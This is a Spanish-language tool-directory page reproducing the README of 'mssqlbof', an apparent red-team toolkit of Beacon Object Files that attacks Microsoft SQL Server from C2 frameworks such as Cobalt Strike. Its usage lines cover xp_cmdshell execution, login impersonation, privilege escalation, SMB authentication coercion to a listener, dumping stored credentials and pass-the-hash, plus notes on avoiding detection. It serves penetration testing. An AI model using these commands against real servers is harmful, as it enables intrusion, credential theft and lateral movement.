Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
mssqlbof — Un conjunto de archivos de objeto Beacon para Microsoft SQL Server que habla TDS 7.4 directamente en el cable. | Kitploit
Herramientas/GitHubGitHub/mazx0p/mssqlbof
Escalada de PrivilegiosAtaques de ContraseñasExplotaciónMovimiento LateralPost-ExplotaciónPruebas de PenetraciónComando y ControlAutenticaciónRed TeamingDesarrollo de PayloadsSeguridad de Bases de Datos
101820hace 5 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
mazx0p/mssqlbof

mssqlbof

Un conjunto de archivos de objeto Beacon para Microsoft SQL Server que habla TDS 7.4 directamente en el cable.

Ver Repositorio

mssqlbof

Un conjunto de Beacon Object Files para Microsoft SQL Server que habla directamente TDS 7.4 en el cable, en C. Sin msodbcsql.dll, sin sqloledb.dll, sin .NET CLR, sin PowerShell. Un COFF por arquitectura, se carga en cada beacon que respeta la API Beacon canónica.

image

Por qué

SQL Server aparece en casi todos los compromisos. Las dos herramientas que la gente usa son SQLRecon / PowerUpSQL (CLR + PowerShell) y cualquier envoltorio de sqlcmd.exe. Ambas dejan mscoree.dll, eventos de PowerShell AMSI o una copia completa del controlador Microsoft ODBC en la memoria del beacon. Nada de eso es necesario: TDS son solo bytes enmarcados sobre TCP con un handshake de Schannel al frente, y cada beacon capaz de BOF ya tiene cargados ws2_32, secur32, schannel y bcrypt.

Por lo tanto, mssqlbof implementa TDS manualmente, en C, y se conecta directamente a las primitivas SSPI o BCrypt que el operador necesite para el objetivo. El beacon carga un objeto de ~48 KB, ejecuta SQL, lo descarga. Nada más entra en el proceso.

Compatibilidad

C2x64x86
Cobalt Strikesísí
Havocsísí
Sliversísí
BruteRatelsísí
Nighthawksísí
Outflank Stage1sísí
AdaptixC2sísí
Metasploit execute_bofsísí
PoshC2sísí

Un archivo objeto por arquitectura. mssql.x64.o es el mismo binario en todos los frameworks — solo usamos la API Beacon canónica (BeaconPrintf, BeaconDataExtract, etc.) y el patrón de importación dinámica <LIB>$<fn> que los cargadores de COFF resuelven en tiempo de ejecución.

Inicio rápido

apt install gcc-mingw-w64 libssl-dev
make

Produce build/mssql.x64.o y build/mssql.x86.o. Colócalo en el servidor del equipo, carga con el ejecutor de BOF de tu C2.

Acciones

Todo pasa por un archivo objeto con --action <verbo>:

--action find                                   LDAP enum of MSSQLSvc SPNs in the current forest
--action info     --host <sql>                  server/version/current user/sysadmin/db
--action query    --host <sql> --sql "..."      arbitrary T-SQL, multi-row, multi-resultset
--action links    --host <sql>                  linked-server enumeration (single hop)
--action exec     --host <sql> --cmd "..."      xp_cmdshell with auto enable + restore
--action impersonate --host <sql> --discover    list logins you can EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
                                                run T-SQL as X via EXECUTE AS LOGIN
--action privesc  --host <sql>                  six-section privesc surface enumeration
--action coerce   --host <sql> --to "\\listener\x"
                                                xp_dirtree SMB auth coercion
--action passwords --host <sql>                 dump sys.linked_logins + sys.credentials
--action chain    --host <sql> --via LINK --sql "..."
                                                EXEC (...) AT [LinkedServer]

--action find se ejecuta sin un host — se comunica con el DC del operador a través de LDAP.

Autenticación

Cuatro modos. Cada modo se verifica de extremo a extremo contra SQL Server 2019 tanto en COFFLoader como en Adaptix C2 en un dominio real.

--auth sspi                                     (default) current beacon thread token
                                                Kerberos if SPN exists, NTLM otherwise.
                                                Honors make_token / steal_token.

--auth ntlm --domain D --user U --pass P        explicit NTLM plaintext.
                                                Drives SSPI NTLM package, multi-leg.

--auth ntlm --domain D --user U --hash <NT>     pass-the-hash.
                                                Hand-rolled NTLMv2 (see below).
                                                No SSPI, no lsass, no make_token.

--auth sql  --user U --pass P                   SQL authentication.

--hash toma un hash NT hexadecimal de 32 caracteres o la forma LM:NT que emite secretsdump.

Por qué el modo hash no es solo SSPI + SEC_WINNT_AUTH_IDENTITY

AcquireCredentialsHandleW(NULL, "NTLM", ...) solo acepta contraseñas en texto plano en la estructura de identidad de credenciales. El proveedor NTLM deriva el hash NT internamente. Proporcionarle un hash requiere parchear lsass (lo que hace Mimikatz sekurlsa::pth) o ejecutar el beacon bajo un proceso sacrificial que ya estaba preautenticado.

La alternativa — la que tomamos — es omitir SSPI por completo para PTH y generar los mensajes NTLMSSP nosotros mismos. src/tds/ntlm_pth.c construye un Type 1 NEGOTIATE, analiza el Type 2 CHALLENGE del servidor desde el token TDS 0xED, ejecuta las matemáticas NTLMv2 con el proveedor HMAC-MD5 de bcrypt.dll, y escribe un Type 3 AUTHENTICATE que SQL Server pasa felizmente al DC.

El primer intento falló con error 18452: login is from an untrusted domain. Capturar la autenticación funcional de Impacket en el cable junto a la nuestra lo redujo rápidamente: estábamos enviando 24 ceros para la respuesta LMv2 y la sopa completa de banderas de negociación de Windows 0xe288... Igualar el cálculo LMv2 de Impacket y su conjunto de banderas más pequeño 0xa2880205 (sin KEY_EXCH, sin SIGN, sin ALWAYS_SIGN) hizo que el servidor aceptara el hash. Escrito en BLOG.

Privesc para --action exec

--impersonate auto          (default) try EXECUTE AS LOGIN, then TRUSTWORTHY hop
--impersonate login         EXECUTE AS LOGIN via an IMPERSONATE grant
--impersonate trustworthy   hop through dbo of a sysadmin-owned TRUSTWORTHY db
--impersonate none          fail if not sysadmin

privesc enumera la superficie antes de elegir un método: membresía de sysadmin, concesiones IMPERSONATE (con el estado de sysadmin del inicio de sesión objetivo), bases de datos TRUSTWORTHY propiedad de un sysadmin (con tu acceso), servidores vinculados, permisos a nivel de servidor y estado de xp_cmdshell.

Compilación

apt install gcc-mingw-w64 libssl-dev
make                    # cross-compile BOFs to x64 + x86
make tds                # Linux shared library of the TDS core (for fuzzing / tests)

La biblioteca compartida de Linux comparte todos los archivos fuente de TDS con la compilación de Windows; solo tls_schannel.c / sspi.c / ntlm_pth.c se intercambian por sus equivalentes OpenSSL / stub.

Nada llama a libc o Win32 directamente. Cada símbolo externo pasa por la convención de importación dinámica <LIB>$<fn> en src/common/dynimports.h. Verifícalo con:

x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND

Solo deberían aparecer MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, y __imp_Beacon*. No msodbcsql.dll. No sqloledb.dll. No mscoree.dll.

OPSEC

Descargar herramienta